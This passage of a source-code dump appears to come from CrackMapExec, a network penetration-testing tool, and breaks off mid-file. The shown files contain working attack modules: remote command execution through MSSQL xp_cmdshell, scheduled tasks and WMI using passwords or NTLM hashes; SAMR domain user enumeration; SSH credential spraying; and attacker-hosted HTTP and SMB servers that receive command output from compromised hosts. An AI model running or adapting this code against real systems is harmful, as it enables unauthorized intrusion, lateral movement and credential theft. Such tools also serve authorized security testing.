| 140 | for cred in creds: 141 | credID = cred[0] 142 | credIDList.append(credID) 143 | 144 | credType = cred[1] 145 | domain = cred[2] 146 | username = cred[3] 147 | password = cred[4] 148 | 149 | data.append([credID, credType, domain, username, password]) 150 | 151 | self.print_table(data, title='Credential(s)') 152 | 153 | data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']] 154 | for credID in credIDList: 155 | links = self.db.get_admin_relations(userID=credID) 156 | 157 | for link in links: 158 | linkID, credID, hostID = link 159 | hosts = self.db.get_computers(hostID) 160 | 161 | for host in hosts: 162 | hostID = host[0] 163 | ip = host[1] 164 | hostname = host[2] 165 | domain = host[3] 166 | os = host[4] 167 | 168 | data.append([hostID, ip, hostname, domain, os]) 169 | 170 | self.print_table(data, title='Admin Access to Host(s)') 171 | 172 | def complete_hosts(self, text, line, begidx, endidx): 173 | "Tab-complete 'creds' commands." 174 | 175 | commands = ["add", "remove"] 176 | 177 | mline = line.partition(' ')[2] 178 | offs = len(mline) - len(text) 179 | return [s[offs:] for s in commands if s.startswith(mline)] 180 | 181 | def complete_creds(self, text, line, begidx, endidx): 182 | "Tab-complete 'creds' commands." 183 | 184 | commands = ["add", "remove", "hash", "plaintext"] 185 | 186 | mline = line.partition(' ')[2] 187 | offs = len(mline) - len(text) 188 | return [s[offs:] for s in commands if s.startswith(mline)] 189 | -------------------------------------------------------------------------------- /cme/protocols/mssql/mssqlexec.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | 4 | class MSSQLEXEC: 5 | 6 | def __init__(self, connection): 7 | self.mssql_conn = connection 8 | self.outputBuffer = '' 9 | 10 | def execute(self, command, output=False): 11 | try: 12 | self.enable_xp_cmdshell() 13 | self.mssql_conn.sql_query("exec master..xp_cmdshell '{}'".format(command)) 14 | 15 | if output: 16 | self.mssql_conn.printReplies() 17 | self.mssql_conn.colMeta[0]['TypeData'] = 80*2 18 | self.mssql_conn.printRows() 19 | self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage() 20 | if len(self.outputBuffer): 21 | self.outputBuffer = self.outputBuffer.split('\n', 2)[2] 22 | 23 | self.disable_xp_cmdshell() 24 | return self.outputBuffer 25 | 26 | except Exception as e: 27 | logging.debug('Error executing command via mssqlexec: {}'.format(e)) 28 | 29 | def enable_xp_cmdshell(self): 30 | self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") 31 | 32 | def disable_xp_cmdshell(self): 33 | self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;") 34 | -------------------------------------------------------------------------------- /cme/protocols/rdp/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/rdp/__init__.py -------------------------------------------------------------------------------- /cme/protocols/rdp/database.py: -------------------------------------------------------------------------------- 1 | class database: 2 | 3 | def __init__(self, conn): 4 | self.conn = conn 5 | 6 | @staticmethod 7 | def db_schema(db_conn): 8 | db_conn.execute('''CREATE TABLE "credentials" ( 9 | "id" integer PRIMARY KEY, 10 | "username" text, 11 | "password" text, 12 | "pkey" text 13 | )''') 14 | 15 | db_conn.execute('''CREATE TABLE "hosts" ( 16 | "id" integer PRIMARY KEY, 17 | "ip" text, 18 | "hostname" text, 19 | "port" integer, 20 | "server_banner" text 21 | )''') -------------------------------------------------------------------------------- /cme/protocols/rdp/db_navigator.py: -------------------------------------------------------------------------------- 1 | from cme.cmedb import DatabaseNavigator 2 | 3 | 4 | class navigator(DatabaseNavigator): 5 | pass 6 | -------------------------------------------------------------------------------- /cme/protocols/smb/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/smb/__init__.py -------------------------------------------------------------------------------- /cme/protocols/smb/atexec.py: -------------------------------------------------------------------------------- 1 | import os 2 | import logging 3 | from impacket.dcerpc.v5 import tsch, transport 4 | from impacket.dcerpc.v5.dtypes import NULL 5 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE 6 | from cme.helpers.misc import gen_random_string 7 | from time import sleep 8 | 9 | class TSCH_EXEC: 10 | def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None): 11 | self.__target = target 12 | self.__username = username 13 | self.__password = password 14 | self.__domain = domain 15 | self.__share_name = share_name 16 | self.__lmhash = '' 17 | self.__nthash = '' 18 | self.__outputBuffer = b'' 19 | self.__retOutput = False 20 | self.__aesKey = aesKey 21 | self.__doKerberos = doKerberos 22 | self.__kdcHost = kdcHost 23 | 24 | if hashes is not None: 25 | #This checks to see if we didn't provide the LM Hash 26 | if hashes.find(':') != -1: 27 | self.__lmhash, self.__nthash = hashes.split(':') 28 | else: 29 | self.__nthash = hashes 30 | 31 | if self.__password is None: 32 | self.__password = '' 33 | 34 | stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self.__target 35 | self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) 36 | 37 | if hasattr(self.__rpctransport, 'set_credentials'): 38 | # This method exists only for selected protocol sequences. 39 | self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) 40 | self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) 41 | 42 | def execute(self, command, output=False): 43 | self.__retOutput = output 44 | self.execute_handler(command) 45 | return self.__outputBuffer 46 | 47 | def output_callback(self, data): 48 | self.__outputBuffer = data 49 | 50 | def execute_handler(self, data): 51 | if self.__retOutput: 52 | try: 53 | self.doStuff(data, fileless=False) 54 | except: 55 | self.doStuff(data) 56 | else: 57 | self.doStuff(data) 58 | 59 | def gen_xml(self, command, tmpFileName, fileless=False): 60 | 61 | xml = """ 62 | 63 | 64 | 65 | 2015-07-15T20:35:13.2757294 66 | true 67 | 68 | 1 69 | 70 | 71 | 72 | 73 | 74 | S-1-5-18 75 | HighestAvailable 76 | 77 | 78 | 79 | IgnoreNew 80 | false 81 | false 82 | true 83 | false 84 | 85 | true 86 | false 87 | 88 | true 89 | true 90 | true 91 | false 92 | false 93 | P3D 94 | 7 95 | 96 | 97 | 98 | cmd.exe 99 | """ 100 | if self.__retOutput: 101 | if fileless: 102 | local_ip = self.__rpctransport.get_socket().getsockname()[0] 103 | argument_xml = " /C {} > \\\\{}\\{}\\{} 2>&1".format(command, local_ip, self.__share_name, tmpFileName) 104 | else: 105 | argument_xml = " /C {} > %windir%\\Temp\\{} 2>&1".format(command, tmpFileName) 106 | 107 | elif self.__retOutput is False: 108 | argument_xml = " /C {}".format(command) 109 | 110 | logging.debug('Generated argument XML: ' + argument_xml) 111 | xml += argument_xml 112 | 113 | xml += """ 114 | 115 | 116 | 117 | """ 118 | return xml 119 | 120 | def doStuff(self, command, fileless=False): 121 | 122 | dce = self.__rpctransport.get_dce_rpc() 123 | if self.__doKerberos: 124 | dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) 125 | 126 | dce.set_credentials(*self.__rpctransport.get_credentials()) 127 | dce.connect() 128 | #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) 129 | dce.bind(tsch.MSRPC_UUID_TSCHS) 130 | tmpName = gen_random_string(8) 131 | tmpFileName = tmpName + '.tmp' 132 | 133 | xml = self.gen_xml(command, tmpFileName, fileless) 134 | 135 | #logging.info("Task XML: {}".format(xml)) 136 | taskCreated = False 137 | logging.info('Creating task \\%s' % tmpName) 138 | tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) 139 | taskCreated = True 140 | 141 | logging.info('Running task \\%s' % tmpName) 142 | tsch.hSchRpcRun(dce, '\\%s' % tmpName) 143 | 144 | done = False 145 | while not done: 146 | logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) 147 | resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) 148 | if resp['pLastRuntime']['wYear'] != 0: 149 | done = True 150 | else: 151 | sleep(2) 152 | 153 | logging.info('Deleting task \\%s' % tmpName) 154 | tsch.hSchRpcDelete(dce, '\\%s' % tmpName) 155 | taskCreated = False 156 | 157 | if taskCreated is True: 158 | tsch.hSchRpcDelete(dce, '\\%s' % tmpName) 159 | 160 | if self.__retOutput: 161 | if fileless: 162 | while True: 163 | try: 164 | with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output: 165 | self.output_callback(output.read()) 166 | break 167 | except IOError: 168 | sleep(2) 169 | else: 170 | peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername())) 171 | smbConnection = self.__rpctransport.get_smb_connection() 172 | while True: 173 | try: 174 | #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) 175 | smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback) 176 | break 177 | except Exception as e: 178 | if str(e).find('SHARING') > 0: 179 | sleep(3) 180 | elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: 181 | sleep(3) 182 | else: 183 | raise 184 | #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) 185 | smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) 186 | 187 | dce.disconnect() 188 | -------------------------------------------------------------------------------- /cme/protocols/smb/remotefile.py: -------------------------------------------------------------------------------- 1 | from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA 2 | 3 | class RemoteFile: 4 | def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ): 5 | self.__smbConnection = smbConnection 6 | self.__share = share 7 | self.__access = access 8 | self.__fileName = fileName 9 | self.__tid = self.__smbConnection.connectTree(share) 10 | self.__fid = None 11 | self.__currentOffset = 0 12 | 13 | def open(self): 14 | self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess= self.__access) 15 | 16 | def seek(self, offset, whence): 17 | # Implement whence, for now it's always from the beginning of the file 18 | if whence == 0: 19 | self.__currentOffset = offset 20 | 21 | def read(self, bytesToRead): 22 | if bytesToRead > 0: 23 | data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) 24 | self.__currentOffset += len(data) 25 | return data 26 | return '' 27 | 28 | def close(self): 29 | if self.__fid is not None: 30 | self.__smbConnection.closeFile(self.__tid, self.__fid) 31 | self.__fid = None 32 | 33 | def delete(self): 34 | self.__smbConnection.deleteFile(self.__share, self.__fileName) 35 | 36 | def tell(self): 37 | return self.__currentOffset 38 | 39 | def __str__(self): 40 | return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName) -------------------------------------------------------------------------------- /cme/protocols/smb/samruser.py: -------------------------------------------------------------------------------- 1 | #Stolen from Impacket 2 | 3 | import logging 4 | from impacket.dcerpc.v5.rpcrt import DCERPC_v5 5 | from impacket.dcerpc.v5 import transport, samr 6 | from impacket.dcerpc.v5.samr import DCERPCSessionError 7 | from impacket.dcerpc.v5.rpcrt import DCERPCException 8 | from impacket.nt_errors import STATUS_MORE_ENTRIES 9 | from impacket import ntlm 10 | 11 | class UserSamrDump: 12 | 13 | KNOWN_PROTOCOLS = { 14 | '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139), 15 | '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445), 16 | } 17 | 18 | def __init__(self, connection): 19 | self.logger = connection.logger 20 | self.addr = connection.host 21 | self.protocol = connection.args.port 22 | self.username = connection.username 23 | self.password = connection.password 24 | self.domain = connection.domain 25 | self.hash = connection.hash 26 | self.lmhash = '' 27 | self.nthash = '' 28 | self.aesKey = None 29 | self.doKerberos = False 30 | self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys() 31 | self.users = [] 32 | 33 | if self.hash is not None: 34 | if self.hash.find(':') != -1: 35 | self.lmhash, self.nthash = self.hash.split(':') 36 | else: 37 | self.nthash = self.hash 38 | 39 | if self.password is None: 40 | self.password = '' 41 | 42 | def dump(self): 43 | 44 | # Try all requested protocols until one works. 45 | for protocol in self.protocols: 46 | try: 47 | protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol] 48 | port = protodef[1] 49 | except KeyError: 50 | logging.debug("Invalid Protocol '{}'".format(protocol)) 51 | logging.debug("Trying protocol {}".format(protocol)) 52 | rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain, 53 | self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos) 54 | try: 55 | self.fetchList(rpctransport) 56 | except Exception as e: 57 | logging.debug('Protocol failed: {}'.format(e)) 58 | return self.users 59 | 60 | def fetchList(self, rpctransport): 61 | dce = DCERPC_v5(rpctransport) 62 | dce.connect() 63 | dce.bind(samr.MSRPC_UUID_SAMR) 64 | 65 | # Setup Connection 66 | resp = samr.hSamrConnect2(dce) 67 | if resp['ErrorCode'] != 0: 68 | raise Exception('Connect error') 69 | 70 | resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp['ServerHandle'], 71 | enumerationContext=0, 72 | preferedMaximumLength=500) 73 | if resp2['ErrorCode'] != 0: 74 | raise Exception('Connect error') 75 | 76 | resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp['ServerHandle'], 77 | name=resp2['Buffer']['Buffer'][0]['Name']) 78 | if resp3['ErrorCode'] != 0: 79 | raise Exception('Connect error') 80 | 81 | resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'], 82 | desiredAccess=samr.MAXIMUM_ALLOWED, 83 | domainId=resp3['DomainId']) 84 | if resp4['ErrorCode'] != 0: 85 | raise Exception('Connect error') 86 | 87 | self.__domains = resp2['Buffer']['Buffer'] 88 | domainHandle = resp4['DomainHandle'] 89 | # End Setup 90 | 91 | status = STATUS_MORE_ENTRIES 92 | enumerationContext = 0 93 | while status == STATUS_MORE_ENTRIES: 94 | try: 95 | resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext) 96 | except DCERPCException as e: 97 | if str(e).find('STATUS_MORE_ENTRIES') < 0: 98 | self.logger.error('Error enumerating domain user(s)') 99 | break 100 | resp = e.get_packet() 101 | self.logger.success('Enumerated domain user(s)') 102 | for user in resp['Buffer']['Buffer']: 103 | r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId']) 104 | info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation) 105 | (username, uid, info_user) = (user['Name'], user['RelativeId'], info['Buffer']['All']) 106 | self.logger.highlight('{}\\{:<30} {}'.format(self.domain, user['Name'], info_user['AdminComment'])) 107 | self.users.append(user['Name']) 108 | samr.hSamrCloseHandle(dce, r['UserHandle']) 109 | 110 | enumerationContext = resp['EnumerationContext'] 111 | status = resp['ErrorCode'] 112 | 113 | dce.disconnect() 114 | -------------------------------------------------------------------------------- /cme/protocols/smb/wmiexec.py: -------------------------------------------------------------------------------- 1 | import ntpath, logging 2 | import os 3 | 4 | from time import sleep 5 | from cme.helpers.misc import gen_random_string 6 | from impacket.dcerpc.v5.dcomrt import DCOMConnection 7 | from impacket.dcerpc.v5.dcom import wmi 8 | from impacket.dcerpc.v5.dtypes import NULL 9 | 10 | class WMIEXEC: 11 | def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None): 12 | self.__target = target 13 | self.__username = username 14 | self.__password = password 15 | self.__domain = domain 16 | self.__lmhash = '' 17 | self.__nthash = '' 18 | self.__share = share 19 | self.__smbconnection = smbconnection 20 | self.__output = None 21 | self.__outputBuffer = b'' 22 | self.__share_name = share_name 23 | self.__shell = 'cmd.exe /Q /c ' 24 | self.__pwd = 'C:\\' 25 | self.__aesKey = aesKey 26 | self.__kdcHost = kdcHost 27 | self.__doKerberos = doKerberos 28 | self.__retOutput = True 29 | 30 | if hashes is not None: 31 | #This checks to see if we didn't provide the LM Hash 32 | if hashes.find(':') != -1: 33 | self.__lmhash, self.__nthash = hashes.split(':') 34 | else: 35 | self.__nthash = hashes 36 | 37 | if self.__password is None: 38 | self.__password = '' 39 | self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) 40 | iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) 41 | iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) 42 | iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) 43 | iWbemLevel1Login.RemRelease() 44 | 45 | self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') 46 | 47 | def execute(self, command, output=False): 48 | self.__retOutput = output 49 | if self.__retOutput: 50 | self.__smbconnection.setTimeout(100000) 51 | if os.path.isfile(command): 52 | with open(command) as commands: 53 | for c in commands: 54 | self.execute_handler(c.strip()) 55 | else: 56 | self.execute_handler(command) 57 | self.__dcom.disconnect() 58 | return self.__outputBuffer 59 | 60 | def cd(self, s): 61 | self.execute_remote('cd ' + s) 62 | if len(self.__outputBuffer.strip('\r\n')) > 0: 63 | print(self.__outputBuffer) 64 | self.__outputBuffer = b'' 65 | else: 66 | self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) 67 | self.execute_remote('cd ') 68 | self.__pwd = self.__outputBuffer.strip('\r\n') 69 | self.__outputBuffer = b'' 70 | 71 | def output_callback(self, data): 72 | self.__outputBuffer += data 73 | 74 | def execute_handler(self, data): 75 | if self.__retOutput: 76 | try: 77 | logging.debug('Executing remote') 78 | self.execute_remote(data) 79 | except: 80 | self.cd('\\') 81 | self.execute_remote(data) 82 | else: 83 | self.execute_remote(data) 84 | 85 | def execute_remote(self, data): 86 | self.__output = '\\Windows\\Temp\\' + gen_random_string(6) 87 | 88 | command = self.__shell + data 89 | if self.__retOutput: 90 | command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' 91 | 92 | logging.debug('Executing command: ' + command) 93 | self.__win32Process.Create(command, self.__pwd, None) 94 | self.get_output_remote() 95 | 96 | def execute_fileless(self, data): 97 | self.__output = gen_random_string(6) 98 | local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] 99 | 100 | command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output) 101 | 102 | logging.debug('Executing command: ' + command) 103 | self.__win32Process.Create(command, self.__pwd, None) 104 | self.get_output_fileless() 105 | 106 | def get_output_fileless(self): 107 | while True: 108 | try: 109 | with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output: 110 | self.output_callback(output.read()) 111 | break 112 | except IOError: 113 | sleep(2) 114 | 115 | def get_output_remote(self): 116 | if self.__retOutput is False: 117 | self.__outputBuffer = '' 118 | return 119 | 120 | while True: 121 | try: 122 | self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) 123 | break 124 | except Exception as e: 125 | if str(e).find('STATUS_SHARING_VIOLATION') >=0: 126 | # Output not finished, let's wait 127 | sleep(2) 128 | pass 129 | else: 130 | #print str(e) 131 | pass 132 | 133 | self.__smbconnection.deleteFile(self.__share, self.__output) 134 | -------------------------------------------------------------------------------- /cme/protocols/ssh.py: -------------------------------------------------------------------------------- 1 | import paramiko 2 | import socket 3 | from cme.connection import * 4 | from cme.helpers.logger import highlight 5 | from cme.logger import CMEAdapter 6 | from paramiko.ssh_exception import AuthenticationException, NoValidConnectionsError, SSHException 7 | import configparser 8 | 9 | 10 | class ssh(connection): 11 | 12 | @staticmethod 13 | def proto_args(parser, std_parser, module_parser): 14 | ssh_parser = parser.add_parser('ssh', help="own stuff using SSH", parents=[std_parser, module_parser]) 15 | ssh_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') 16 | ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.") 17 | ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") 18 | ssh_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") 19 | 20 | cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands") 21 | cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') 22 | cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") 23 | 24 | return parser 25 | 26 | def proto_logger(self): 27 | self.logger = CMEAdapter(extra={'protocol': 'SSH', 28 | 'host': self.host, 29 | 'port': self.args.port, 30 | 'hostname': self.hostname}) 31 | 32 | def print_host_info(self): 33 | self.logger.info(self.remote_version) 34 | return True 35 | 36 | def enum_host_info(self): 37 | self.remote_version = self.conn._transport.remote_version 38 | 39 | def create_conn_obj(self): 40 | self.conn = paramiko.SSHClient() 41 | self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 42 | 43 | try: 44 | self.conn.connect(self.host, port=self.args.port) 45 | except AuthenticationException: 46 | return True 47 | except SSHException: 48 | return True 49 | except NoValidConnectionsError: 50 | return False 51 | except socket.error: 52 | return False 53 | 54 | def client_close(self): 55 | self.conn.close() 56 | 57 | def check_if_admin(self): 58 | stdin, stdout, stderr = self.conn.exec_command('id') 59 | if stdout.read().decode('utf-8').find('uid=0(root)') != -1: 60 | self.admin_privs = True 61 | 62 | def plaintext_login(self, username, password): 63 | try: 64 | if self.args.key_file: 65 | passwd = password 66 | password = u'{} (keyfile: {})'.format(passwd, self.args.key_file) 67 | self.conn.connect(self.host, port=self.args.port, username=username, passphrase=passwd, key_filename=self.args.key_file, look_for_keys=False, allow_agent=False) 68 | else: 69 | self.conn.connect(self.host, port=self.args.port, username=username, password=password, look_for_keys=False, allow_agent=False) 70 | 71 | self.check_if_admin() 72 | self.logger.success(u'{}:{} {}'.format(username, 73 | password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, 74 | highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) 75 | if not self.args.continue_on_success: 76 | return True 77 | except Exception as e: 78 | self.logger.error(u'{}:{} {}'.format(username, 79 | password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, 80 | e)) 81 | self.client_close() 82 | return False 83 | 84 | def execute(self, payload=None, get_output=False): 85 | try: 86 | stdin, stdout, stderr = self.conn.exec_command(self.args.execute) 87 | except AttributeError: 88 | return '' 89 | self.logger.success('Executed command') 90 | for line in stdout: 91 | self.logger.highlight(line.strip()) 92 | 93 | return stdout 94 | -------------------------------------------------------------------------------- /cme/protocols/ssh/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/ssh/__init__.py -------------------------------------------------------------------------------- /cme/protocols/ssh/database.py: -------------------------------------------------------------------------------- 1 | class database: 2 | 3 | def __init__(self, conn): 4 | self.conn = conn 5 | 6 | @staticmethod 7 | def db_schema(db_conn): 8 | db_conn.execute('''CREATE TABLE "credentials" ( 9 | "id" integer PRIMARY KEY, 10 | "username" text, 11 | "password" text, 12 | "pkey" text 13 | )''') 14 | 15 | db_conn.execute('''CREATE TABLE "hosts" ( 16 | "id" integer PRIMARY KEY, 17 | "ip" text, 18 | "hostname" text, 19 | "port" integer, 20 | "server_banner" text 21 | )''') -------------------------------------------------------------------------------- /cme/protocols/ssh/db_navigator.py: -------------------------------------------------------------------------------- 1 | from cme.cmedb import DatabaseNavigator 2 | 3 | 4 | class navigator(DatabaseNavigator): 5 | pass 6 | -------------------------------------------------------------------------------- /cme/protocols/winrm/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/winrm/__init__.py -------------------------------------------------------------------------------- /cme/protocols/winrm/database.py: -------------------------------------------------------------------------------- 1 | class database: 2 | 3 | def __init__(self, conn): 4 | self.conn = conn 5 | 6 | @staticmethod 7 | def db_schema(db_conn): 8 | db_conn.execute('''CREATE TABLE "credentials" ( 9 | "id" integer PRIMARY KEY, 10 | "username" text, 11 | "password" text 12 | )''') 13 | 14 | db_conn.execute('''CREATE TABLE "hosts" ( 15 | "id" integer PRIMARY KEY, 16 | "ip" text, 17 | "hostname" text, 18 | "port" integer 19 | )''') 20 | -------------------------------------------------------------------------------- /cme/protocols/winrm/db_navigator.py: -------------------------------------------------------------------------------- 1 | from cme.cmedb import DatabaseNavigator 2 | 3 | 4 | class navigator(DatabaseNavigator): 5 | pass 6 | -------------------------------------------------------------------------------- /cme/servers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/servers/__init__.py -------------------------------------------------------------------------------- /cme/servers/http.py: -------------------------------------------------------------------------------- 1 | import http.server 2 | import threading 3 | import ssl 4 | import os 5 | import sys 6 | import logging 7 | from http.server import BaseHTTPRequestHandler 8 | from time import sleep 9 | from cme.helpers.logger import highlight 10 | from cme.logger import CMEAdapter 11 | 12 | class RequestHandler(BaseHTTPRequestHandler): 13 | 14 | def log_message(self, format, *args): 15 | server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]}) 16 | server_logger.info("- - %s" % (format%args)) 17 | 18 | def do_GET(self): 19 | if hasattr(self.server.module, 'on_request'): 20 | server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]}) 21 | self.server.context.log = server_logger 22 | self.server.module.on_request(self.server.context, self) 23 | 24 | def do_POST(self): 25 | if hasattr(self.server.module, 'on_response'): 26 | server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]}) 27 | self.server.context.log = server_logger 28 | self.server.module.on_response(self.server.context, self) 29 | 30 | def stop_tracking_host(self): 31 | ''' 32 | This gets called when a module has finshed executing, removes the host from the connection tracker list 33 | ''' 34 | try: 35 | self.server.hosts.remove(self.client_address[0]) 36 | if hasattr(self.server.module, 'on_shutdown'): 37 | self.server.module.on_shutdown(self.server.context, self.server.connection) 38 | except ValueError: 39 | pass 40 | 41 | class CMEServer(threading.Thread): 42 | 43 | def __init__(self, module, context, logger, srv_host, port, server_type='https'): 44 | 45 | try: 46 | threading.Thread.__init__(self) 47 | 48 | self.server = http.server.HTTPServer((srv_host, int(port)), RequestHandler) 49 | self.server.hosts = [] 50 | self.server.module = module 51 | self.server.context = context 52 | self.server.log = CMEAdapter(extra={'module': self.server.module.name.upper()}) 53 | self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem') 54 | self.server.track_host = self.track_host 55 | 56 | logging.debug('CME server type: ' + server_type) 57 | if server_type == 'https': 58 | self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True) 59 | 60 | except Exception as e: 61 | errno, message = e.args 62 | if errno == 98 and message == 'Address already in use': 63 | logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port') 64 | else: 65 | logger.error('Error starting HTTP(S) server: {}'.format(message)) 66 | 67 | sys.exit(1) 68 | 69 | def base_server(self): 70 | return self.server 71 | 72 | def track_host(self, host_ip): 73 | self.server.hosts.append(host_ip) 74 | 75 | def run(self): 76 | try: 77 | self.server.serve_forever() 78 | except: 79 | pass 80 | 81 | def shutdown(self): 82 | try: 83 | while len(self.server.hosts) > 0: 84 | self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts)))) 85 | sleep(15) 86 | except KeyboardInterrupt: 87 | pass 88 | 89 | # shut down the server/socket 90 | self.server.shutdown() 91 | self.server.socket.close() 92 | self.server.server_close() 93 | 94 | # make sure all the threads are killed 95 | for thread in threading.enumerate(): 96 | if thread.is_alive(): 97 | try: 98 | thread._stop() 99 | except: 100 | pass 101 | -------------------------------------------------------------------------------- /cme/servers/smb.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import logging 3 | from sys import exit 4 | from impacket import smbserver 5 | 6 | class CMESMBServer(threading.Thread): 7 | 8 | def __init__(self, logger, share_name, share_path='/tmp/cme_hosted', listen_address='0.0.0.0', listen_port=445, verbose=False): 9 | try: 10 | threading.Thread.__init__(self) 11 | self.server = smbserver.SimpleSMBServer(listen_address, listen_port) 12 | self.server.addShare(share_name.upper(), share_path) 13 | if verbose: self.server.setLogFile('') 14 | self.server.setSMB2Support(True) 15 | self.server.setSMBChallenge('') 16 | except Exception as e: 17 | errno, message = e.args 18 | if errno == 98 and message == 'Address already in use': 19 | logger.error('Error starting SMB server on port 445: the port is already in use') 20 | else: 21 | logger.error('Error starting SMB server on port 445: {}'.format(message)) 22 | exit(1) 23 | 24 | def addShare(self, share_name, share_path): 25 | self.server.addShare(share_name, share_path) 26 | 27 | def run(self): 28 | try: 29 | self.server.start() 30 | except: 31 | pass 32 | 33 | def shutdown(self): 34 | # TODO: should fine the proper way 35 | # make sure all the threads are killed 36 | for thread in threading.enumerate(): 37 | if thread.is_alive(): 38 | try: 39 | self._stop() 40 | except: 41 | pass 42 | -------------------------------------------------------------------------------- /crackmapexec.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python ; coding: utf-8 -*- 2 | 3 | block_cipher = None 4 | 5 | 6 | a = Analysis(['./cme/crackmapexec.py'], 7 | pathex=['./cme'], 8 | binaries=[], 9 | 